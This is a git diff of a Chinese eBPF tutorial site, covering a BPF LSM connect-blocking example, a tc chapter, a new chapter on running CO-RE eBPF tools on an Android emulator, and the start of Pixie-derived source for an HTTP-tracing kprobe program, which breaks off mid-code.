eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此,本文将介绍如何使用 eBPF LSM(Linux Security Modules)机制实现一个简单的安全检查程序。

背景

LSM 从 Linux 2.6 开始成为官方内核的一个安全框架,基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后,系统开发人员已经能够自由地实现函数粒度的安全检查能力,本文就提供了这样一个案例:限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。(可见其控制精度是很高的)

LSM 概述

@@ -261,10 +262,10 @@ Retrying. wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009
+

完整源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect

总结

本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中,我们通过 BPF_PROG 宏定义函数,并通过 SEC 宏指定挂载点;在函数实现上,遵循 LSM 安全检查模块中 "cannot override a denial" 的原则,并根据 socket 连接请求的目的地址对该请求进行限制。

-

更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf

-

完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。

+

如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

参考

diff --git a/20-tc/index.html b/20-tc/index.html index c7fd0c1..562fbc9 100644 --- a/20-tc/index.html +++ b/20-tc/index.html @@ -83,7 +83,7 @@ @@ -144,7 +144,7 @@
-

eBPF 入门实践教程:使用 eBPF 进行 tc 流量控制

+

eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制

背景

Linux 的流量控制子系统(Traffic Control, tc)在内核中存在了多年,类似于 iptables 和 netfilter 的关系,tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架,主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始,tc 增加了一些新的挂载点,并支持将 eBPF 程序作为 filter 加载到这些挂载点上。

tc 概述

@@ -215,8 +215,7 @@ Packing ebpf object and config into package.json...

总结

本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备,并借助内核的 sk_buff 结构对数据包进行过滤处理。

-

更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf

-

完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。

+

如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

参考

  • http://just4coding.com/2022/08/05/tc/
  • @@ -231,7 +230,7 @@ Packing ebpf object and config into package.json... - @@ -245,7 +244,7 @@ Packing ebpf object and config into package.json... - diff --git a/22-android/index.html b/22-android/index.html new file mode 100644 index 0000000..6c0ead2 --- /dev/null +++ b/22-android/index.html @@ -0,0 +1,332 @@ + + + + + + 在 Android 上使用 eBPF 程序 - bpf-developer-tutorial + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + +
    +
    +

    在 Andorid 上使用 eBPF 程序

    +
    +

    本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 +测试采用的方式是在 Android Shell 环境下构建 Debian 环境,并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。

    +
    +

    背景

    +

    截至目前(2023-04),Android 还未对 eBPF 程序的动态加载做出较好的支持,无论是以 bcc 为代表的带编译器分发方案,还是基于 btf 和 libbpf 的 CO-RE 方案,都在较大程度上离不开 Linux 环境的支持,无法在 Android 系统上很好地运行1

    +

    虽然如此,在 Android 平台上尝试 eBPF 也已经有了一些成功案例,除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案2,也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路,并开发了相关工具。

    +

    目前已有的资料,大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱,并对 bcc 和 bpftrace 相关工具链进行测试,而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料,如:

    + +

    其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像,并在其中构建整个 bcc 工具链,从而使用 eBPF 工具。如果想要使用 bpftrace,原理也是类似的。

    +

    事实上,高版本的 Android 内核已支持 btf 选项,这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。

    +
    +

    eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目,旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式,其核心依赖是 libbpf,相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。

    +
    +

    测试环境

    +
      +
    • Android Emulator(Android Studio Flamingo | 2022.2.1)
    • +
    • AVD: Pixel 6
    • +
    • Android Image: Tiramisu Android 13.0 x86_64(5.15.41-android13-8-00055-g4f5025129fe8-ab8949913)
    • +
    +

    环境搭建3

    +
      +
    1. eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs,同时还需要获取该项目的 assets 目录来构建环境;
    2. +
    3. 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device;
    4. +
    5. 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gzassets 目录推送到 AVD 中: +
        +
      • ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz
      • +
      • ./adb push assets /data/local/tmp/assets
      • +
      +
    6. +
    7. 通过 adb 进入 Android shell 环境并获取 root 权限: +
        +
      • ./adb shell
      • +
      • su
      • +
      +
    8. +
    9. 在 Android shell 中构建并进入 debian 环境: +
        +
      • mkdir -p /data/eadb
      • +
      • mv /data/local/tmp/assets/* /data/eadb
      • +
      • mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz
      • +
      • rm -r /data/local/tmp/assets
      • +
      • chmod +x /data/eadb/device-*
      • +
      • /data/eadb/device-unpack
      • +
      • /data/eadb/run /data/eadb/debian
      • +
      +
    10. +
    +

    至此,测试 eBPF 所需的 Linux 环境已经构建完毕。此外,在 Android shell 中(未进入 debian 时)可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。

    +
    +

    目前,eadb 打包的 debian 环境存在 libc 版本低,缺少的工具依赖较多等情况;并且由于内核编译选项不同,一些 eBPF 功能可能也无法使用。

    +
    +

    工具构建

    +

    在 debian 环境中将 eunomia-bpf 仓库 clone 到本地,具体的构建过程,可以参考仓库的 build.md。在本次测试中,笔者选用了 ecc 编译生成 package.json 的方式,该工具的构建和使用方式请参考仓库页面

    +
    +

    在构建过程中,可能需要自行安装包括但不限于 curlpkg-configlibssl-dev 等工具。

    +
    +

    结果

    +

    有部分 eBPF 程序可以成功在 Android 上运行,但也会有部分应用因为种种原因无法成功被执行。

    +

    成功案例

    +

    bootstrap

    +

    运行输出如下:

    +
    TIME     PID     PPID    EXIT_CODE  DURATION_NS  COMM    FILENAME  EXIT_EVENT
    +09:09:19  10217  479     0          0            sh      /system/bin/sh 0
    +09:09:19  10217  479     0          0            ps      /system/bin/ps 0
    +09:09:19  10217  479     0          54352100     ps                1
    +09:09:21  10219  479     0          0            sh      /system/bin/sh 0
    +09:09:21  10219  479     0          0            ps      /system/bin/ps 0
    +09:09:21  10219  479     0          44260900     ps                1
    +
    +

    tcpstates

    +

    开始监测后在 Linux 环境中通过 wget 下载 Web 页面:

    +
    TIME     SADDR   DADDR   SKADDR  TS_US   DELTA_US  PID     OLDSTATE  NEWSTATE  FAMILY  SPORT   DPORT   TASK
    +09:07:46  0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget
    +09:07:46  0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0
    +09:07:46  0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget
    +09:07:46  0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0
    +09:07:46  0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0
    +09:07:47  0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet
    +09:07:47  0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet
    +
    +

    开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面:

    +
    TIME     SADDR   DADDR   SKADDR  TS_US   DELTA_US  PID     OLDSTATE  NEWSTATE  FAMILY  SPORT   DPORT   TASK
    +07:46:58  0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService
    +07:46:58  0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService
    +07:46:58  0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService
    +07:46:58  0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService
    +07:46:58  0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService
    +07:46:58  0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService
    +07:46:58  0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService
    +07:46:59  0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg
    +07:46:59  0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService
    +07:46:59  0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService
    +07:46:59  0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0
    +07:47:00  0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService
    +07:47:00  0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0
    +07:47:00  0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService
    +07:47:00  0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService
    +07:47:00  0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11
    +07:47:00  0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService
    +07:47:00  0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService
    +07:47:00  0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService
    +07:47:01  0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet
    +
    +

    一些可能的报错原因

    +

    opensnoop

    +

    例如 opensnoop 工具,可以在 Android 上成功构建,但运行报错:

    +
    libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory
    +libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory
    +libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2
    +failed to attach skeleton
    +Error: BpfError("load and attach ebpf program failed")
    +
    +

    后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项,导致无法使用 syscalls 的 tracepoint。

    +

    总结

    +

    在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的,在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例,例如可以监测 exec 族函数的执行和 tcp 连接的状态。

    +

    对于无法运行的一些,原因主要是以下两个方面:

    +
      +
    1. 内核编译选项未支持相关 eBPF 功能;
    2. +
    3. eadb 打包的 Linux 环境较弱,缺乏必须依赖;
    4. +
    +

    目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境,但 Android 内核本身对 eBPF 的支持已较为全面,本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。

    +

    Android 系统 eBPF 工具的发展需要官方新特性的加入,目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大,同时由于 eBPF 工具需要 root 权限,普通 Android 用户的使用会面临较多困难。

    +

    如果希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

    +

    参考

    + + +
    + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + +
    + + diff --git a/23-http/index.html b/23-http/index.html new file mode 100644 index 0000000..31c65b4 --- /dev/null +++ b/23-http/index.html @@ -0,0 +1,200 @@ + + + + + + 使用 eBPF 追踪 HTTP 请求或其他七层协议 - bpf-developer-tutorial + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + +
    +
    +

    http

    +

    TODO

    + +
    + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + +
    + + diff --git a/23-http/main.go b/23-http/main.go new file mode 100644 index 0000000..608e85d --- /dev/null +++ b/23-http/main.go @@ -0,0 +1,103 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + + package main + + import ( + "fmt" + bpfwrapper2 "github.com/seek-ret/ebpf-training/workshop1/internal/bpfwrapper" + "github.com/seek-ret/ebpf-training/workshop1/internal/connections" + "github.com/seek-ret/ebpf-training/workshop1/internal/settings" + "io/ioutil" + "log" + "os" + "os/signal" + "os/user" + "runtime/debug" + "syscall" + "time" + + "github.com/iovisor/gobpf/bcc" + ) + + // abortIfNotRoot checks the current user permissions, if the permissions are not elevated, we abort. + func abortIfNotRoot() { + current, err := user.Current() + if err != nil { + log.Panic(err) + } + + if current.Uid != "0" { + log.Panic("sniffer must run under superuser privileges") + } + } + + // recoverFromCrashes is a defer function that caches all panics being thrown from the application. + func recoverFromCrashes() { + if err := recover(); err != nil { + log.Printf("Application crashed: %v\nstack: %s\n", err, string(debug.Stack())) + } + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: go run main.go ") + os.Exit(1) + } + bpfSourceCodeFile := os.Args[1] + bpfSourceCodeContent, err := ioutil.ReadFile(bpfSourceCodeFile) + if err != nil { + log.Panic(err) + } + + defer recoverFromCrashes() + abortIfNotRoot() + + if err := settings.InitRealTimeOffset(); err != nil { + log.Printf("Failed fixing BPF clock, timings will be offseted: %v", err) + } + + // Catching all termination signals to perform a cleanup when being stopped. + sig := make(chan os.Signal, 1) + signal.Notify(sig, syscall.SIGHUP, syscall.SIGINT, syscall.SIGQUIT, syscall.SIGTERM) + + bpfModule := bcc.NewModule(string(bpfSourceCodeContent), nil) + if bpfModule == nil { + log.Panic("bpf is nil") + } + defer bpfModule.Close() + + connectionFactory := connections.NewFactory(time.Minute) + go func() { + for { + connectionFactory.HandleReadyConnections() + time.Sleep(10 * time.Second) + } + }() + if err := bpfwrapper2.LaunchPerfBufferConsumers(bpfModule, connectionFactory); err != nil { + log.Panic(err) + } + + // Lastly, after everything is ready and configured, attach the kprobes and start capturing traffic. + if err := bpfwrapper2.AttachKprobes(bpfModule); err != nil { + log.Panic(err) + } + log.Println("Sniffer is ready") + <-sig + log.Println("Signaled to terminate") + } diff --git a/23-http/sourcecode.c b/23-http/sourcecode.c new file mode 100644 index 0000000..01bfc92 --- /dev/null +++ b/23-http/sourcecode.c @@ -0,0 +1,497 @@ +// +build ignore + +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include +#include +#include +#include + +// Defines + +#define socklen_t size_t + +// Data buffer message size. BPF can submit at most this amount of data to a perf buffer. +// Kernel size limit is 32KiB. See https://github.com/iovisor/bcc/issues/2519 for more details. +#define MAX_MSG_SIZE 30720 // 30KiB + +// This defines how many chunks a perf_submit can support. +// This applies to messages that are over MAX_MSG_SIZE, +// and effectively makes the maximum message size to be CHUNK_LIMIT*MAX_MSG_SIZE. +#define CHUNK_LIMIT 4 + +enum traffic_direction_t { + kEgress, + kIngress, +}; + +// Structs + +// A struct representing a unique ID that is composed of the pid, the file +// descriptor and the creation time of the struct. +struct conn_id_t { + // Process ID + uint32_t pid; + // The file descriptor to the opened network connection. + int32_t fd; + // Timestamp at the initialization of the struct. + uint64_t tsid; +}; + +// This struct contains information collected when a connection is established, +// via an accept4() syscall. +struct conn_info_t { + // Connection identifier. + struct conn_id_t conn_id; + + // The number of bytes written/read on this connection. + int64_t wr_bytes; + int64_t rd_bytes; + + // A flag indicating we identified the connection as HTTP. + bool is_http; +}; + +// An helper struct that hold the addr argument of the syscall. +struct accept_args_t { + struct sockaddr_in* addr; +}; + +// An helper struct to cache input argument of read/write syscalls between the +// entry hook and the exit hook. +struct data_args_t { + int32_t fd; + const char* buf; +}; + +// An helper struct that hold the input arguments of the close syscall. +struct close_args_t { + int32_t fd; +}; + +// A struct describing the event that we send to the user mode upon a new connection. +struct socket_open_event_t { + // The time of the event. + uint64_t timestamp_ns; + // A unique ID for the connection. + struct conn_id_t conn_id; + // The address of the client. + struct sockaddr_in addr; +}; + +// Struct describing the close event being sent to the user mode. +struct socket_close_event_t { + // Timestamp of the close syscall + uint64_t timestamp_ns; + // The unique ID of the connection + struct conn_id_t conn_id; + // Total number of bytes written on that connection + int64_t wr_bytes; + // Total number of bytes read on that connection + int64_t rd_bytes; +}; + +struct socket_data_event_t { + // We split attributes into a separate struct, because BPF gets upset if you do lots of + // size arithmetic. This makes it so that it's attributes followed by message. + struct attr_t { + // The timestamp when syscall completed (return probe was triggered). + uint64_t timestamp_ns; + + // Connection identifier (PID, FD, etc.). + struct conn_id_t conn_id; + + // The type of the actual data that the msg field encodes, which is used by the caller + // to determine how to interpret the data. + enum traffic_direction_t direction; + + // The size of the original message. We use this to truncate msg field to minimize the amount + // of data being transferred. + uint32_t msg_size; + + // A 0-based position number for this event on the connection, in terms of byte position. + // The position is for the first byte of this message. + uint64_t pos; + } attr; + char msg[MAX_MSG_SIZE]; +}; + +// Maps + +// A map of the active connections. The name of the map is conn_info_map +// the key is of type uint64_t, the value is of type struct conn_info_t, +// and the map won't be bigger than 128KB. +BPF_HASH(conn_info_map, uint64_t, struct conn_info_t, 131072); +// An helper map that will help us cache the input arguments of the accept syscall +// between the entry hook and the return hook. +BPF_HASH(active_accept_args_map, uint64_t, struct accept_args_t); +// Perf buffer to send to the user-mode the data events. +BPF_PERF_OUTPUT(socket_data_events); +// A perf buffer that allows us send events from kernel to user mode. +// This perf buffer is dedicated for special type of events - open events. +BPF_PERF_OUTPUT(socket_open_events); +// Perf buffer to send to the user-mode the close events. +BPF_PERF_OUTPUT(socket_close_events); +BPF_PERCPU_ARRAY(socket_data_event_buffer_heap, struct socket_data_event_t, 1); +BPF_HASH(active_write_args_map, uint64_t, struct data_args_t); +// Helper map to store read syscall arguments between entry and exit hooks. +BPF_HASH(active_read_args_map, uint64_t, struct data_args_t); +// An helper map to store close syscall arguments between entry and exit syscalls. +BPF_HASH(active_close_args_map, uint64_t, struct close_args_t); + +// Helper functions + +// Generates a unique identifier using a tgid (Thread Global ID) and a fd (File Descriptor). +static __inline uint64_t gen_tgid_fd(uint32_t tgid, int fd) { + return ((uint64_t)tgid << 32) | (uint32_t)fd; +} + +// An helper function that checks if the syscall finished successfully and if it did +// saves the new connection in a dedicated map of connections +static __inline void process_syscall_accept(struct pt_regs* ctx, uint64_t id, const struct accept_args_t* args) { + // Extracting the return code, and checking if it represent a failure, + // if it does, we abort the as we have nothing to do. + int ret_fd = PT_REGS_RC(ctx); + if (ret_fd <= 0) { + return; + } + + struct conn_info_t conn_info = {}; + uint32_t pid = id >> 32; + conn_info.conn_id.pid = pid; + conn_info.conn_id.fd = ret_fd; + conn_info.conn_id.tsid = bpf_ktime_get_ns(); + + uint64_t pid_fd = ((uint64_t)pid << 32) | (uint32_t)ret_fd; + // Saving the connection info in a global map, so in the other syscalls + // (read, write and close) we will be able to know that we have seen + // the connection + conn_info_map.update(&pid_fd, &conn_info); + + // Sending an open event to the user mode, to let the user mode know that we + // have identified a new connection. + struct socket_open_event_t open_event = {}; + open_event.timestamp_ns = bpf_ktime_get_ns(); + open_event.conn_id = conn_info.conn_id; + bpf_probe_read(&open_event.addr, sizeof(open_event.addr), args->addr); + + socket_open_events.perf_submit(ctx, &open_event, sizeof(struct socket_open_event_t)); +} + +static inline __attribute__((__always_inline__)) void process_syscall_close(struct pt_regs* ctx, uint64_t id, + const struct close_args_t* close_args) { + int ret_val = PT_REGS_RC(ctx); + if (ret_val < 0) { + return; + } + + uint32_t tgid = id >> 32; + uint64_t tgid_fd = gen_tgid_fd(tgid, close_args->fd); + struct conn_info_t* conn_info = conn_info_map.lookup(&tgid_fd); + if (conn_info == NULL) { + // The FD being closed does not represent an IPv4 socket FD. + return; + } + + // Send to the user mode an event indicating the connection was closed. + struct socket_close_event_t close_event = {}; + close_event.timestamp_ns = bpf_ktime_get_ns(); + close_event.conn_id = conn_info->conn_id; + close_event.rd_bytes = conn_info->rd_bytes; + close_event.wr_bytes = conn_info->wr_bytes; + + socket_close_events.perf_submit(ctx, &close_event, sizeof(struct socket_close_event_t)); + + // Remove the connection from the mapping. + conn_info_map.delete(&tgid_fd); +} + +static inline __attribute__((__always_inline__)) bool is_http_connection(struct conn_info_t* conn_info, const char* buf, size_t count) { + // If the connection was already identified as HTTP connection, no need to re-check it. + if (conn_info->is_http) { + return true; + } + + // The minimum length of http request or response. + if (count < 16) { + return false; + } + + bool res = false; + if (buf[0] == 'H' && buf[1] == 'T' && buf[2] == 'T' && buf[3] == 'P') { + res = true; + } + if (buf[0] == 'G' && buf[1] == 'E' && buf[2] == 'T') { + res = true; + } + if (buf[0] == 'P' && buf[1] == 'O' && buf[2] == 'S' && buf[3] == 'T') { + res = true; + } + + if (res) { + conn_info->is_http = true; + } + + return res; +} + +static __inline void perf_submit_buf(struct pt_regs* ctx, const enum traffic_direction_t direction, + const char* buf, size_t buf_size, size_t offset, + struct conn_info_t* conn_info, + struct socket_data_event_t* event) { + switch (direction) { + case kEgress: + event->attr.pos = conn_info->wr_bytes + offset; + break; + case kIngress: + event->attr.pos = conn_info->rd_bytes + offset; + break; + } + + // Note that buf_size_minus_1 will be positive due to the if-statement above. + size_t buf_size_minus_1 = buf_size - 1; + + // Clang is too smart for us, and tries to remove some of the obvious hints we are leaving for the + // BPF verifier. So we add this NOP volatile statement, so clang can't optimize away some of our + // if-statements below. + // By telling clang that buf_size_minus_1 is both an input and output to some black box assembly + // code, clang has to discard any assumptions on what values this variable can take. + asm volatile("" : "+r"(buf_size_minus_1) :); + + buf_size = buf_size_minus_1 + 1; + + // 4.14 kernels reject bpf_probe_read with size that they may think is zero. + // Without the if statement, it somehow can't reason that the bpf_probe_read is non-zero. + size_t amount_copied = 0; + if (buf_size_minus_1 < MAX_MSG_SIZE) { + bpf_probe_read(&event->msg, buf_size, buf); + amount_copied = buf_size; + } else { + bpf_probe_read(&event->msg, MAX_MSG_SIZE, buf); + amount_copied = MAX_MSG_SIZE; + } + + // If-statement is redundant, but is required to keep the 4.14 verifier happy. + if (amount_copied > 0) { + event->attr.msg_size = amount_copied; + socket_data_events.perf_submit(ctx, event, sizeof(event->attr) + amount_copied); + } +} + +static __inline void perf_submit_wrapper(struct pt_regs* ctx, + const enum traffic_direction_t direction, const char* buf, + const size_t buf_size, struct conn_info_t* conn_info, + struct socket_data_event_t* event) { + int bytes_sent = 0; + unsigned int i; +#pragma unroll + for (i = 0; i < CHUNK_LIMIT; ++i) { + const int bytes_remaining = buf_size - bytes_sent; + const size_t current_size = (bytes_remaining > MAX_MSG_SIZE && (i != CHUNK_LIMIT - 1)) ? MAX_MSG_SIZE : bytes_remaining; + perf_submit_buf(ctx, direction, buf + bytes_sent, current_size, bytes_sent, conn_info, event); + bytes_sent += current_size; + if (buf_size == bytes_sent) { + return; + } + } +} + +static inline __attribute__((__always_inline__)) void process_data(struct pt_regs* ctx, uint64_t id, + enum traffic_direction_t direction, + const struct data_args_t* args, ssize_t bytes_count) { + // Always check access to pointer before accessing them. + if (args->buf == NULL) { + return; + } + + // For read and write syscall, the return code is the number of bytes written or read, so zero means nothing + // was written or read, and negative means that the syscall failed. Anyhow, we have nothing to do with that syscall. + if (bytes_count <= 0) { + return; + } + + uint32_t pid = id >> 32; + uint64_t pid_fd = ((uint64_t)pid << 32) | (uint32_t)args->fd; + struct conn_info_t* conn_info = conn_info_map.lookup(&pid_fd); + if (conn_info == NULL) { + // The FD being read/written does not represent an IPv4 socket FD. + return; + } + + // Check if the connection is already HTTP, or check if that's a new connection, check protocol and return true if that's HTTP. + if (is_http_connection(conn_info, args->buf, bytes_count)) { + // allocate new event. + uint32_t kZero = 0; + struct socket_data_event_t* event = socket_data_event_buffer_heap.lookup(&kZero); + if (event == NULL) { + return; + } + + // Fill the metadata of the data event. + event->attr.timestamp_ns = bpf_ktime_get_ns(); + event->attr.direction = direction; + event->attr.conn_id = conn_info->conn_id; + + perf_submit_wrapper(ctx, direction, args->buf, bytes_count, conn_info, event); + } + + // Update the conn_info total written/read bytes. + switch (direction) { + case kEgress: + conn_info->wr_bytes += bytes_count; + break; + case kIngress: + conn_info->rd_bytes += bytes_count; + break; + } +} + +// Hooks +int syscall__probe_entry_accept(struct pt_regs* ctx, int sockfd, struct sockaddr* addr, socklen_t* addrlen) { + uint64_t id = bpf_get_current_pid_tgid(); + + // Keep the addr in a map to use during the exit method. + struct accept_args_t accept_args = {}; + accept_args.addr = (struct sockaddr_in *)addr; + active_accept_args_map.update(&id, &accept_args); + + return 0; +} + +int syscall__probe_ret_accept(struct pt_regs* ctx) { + uint64_t id = bpf_get_current_pid_tgid(); + + // Pulling the addr from the map. + struct accept_args_t* accept_args = active_accept_args_map.lookup(&id); + if (accept_args != NULL) { + process_syscall_accept(ctx, id, accept_args); + } + + active_accept_args_map.delete(&id); + return 0; +} + + +// Hooking the entry of accept4 +// the signature of the syscall is int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); +int syscall__probe_entry_accept4(struct pt_regs* ctx, int sockfd, struct sockaddr* addr, socklen_t* addrlen) { + // Getting a unique ID for the relevant thread in the relevant pid. + // That way we can link different calls from the same thread. + uint64_t id = bpf_get_current_pid_tgid(); + + // Keep the addr in a map to use during the accpet4 exit 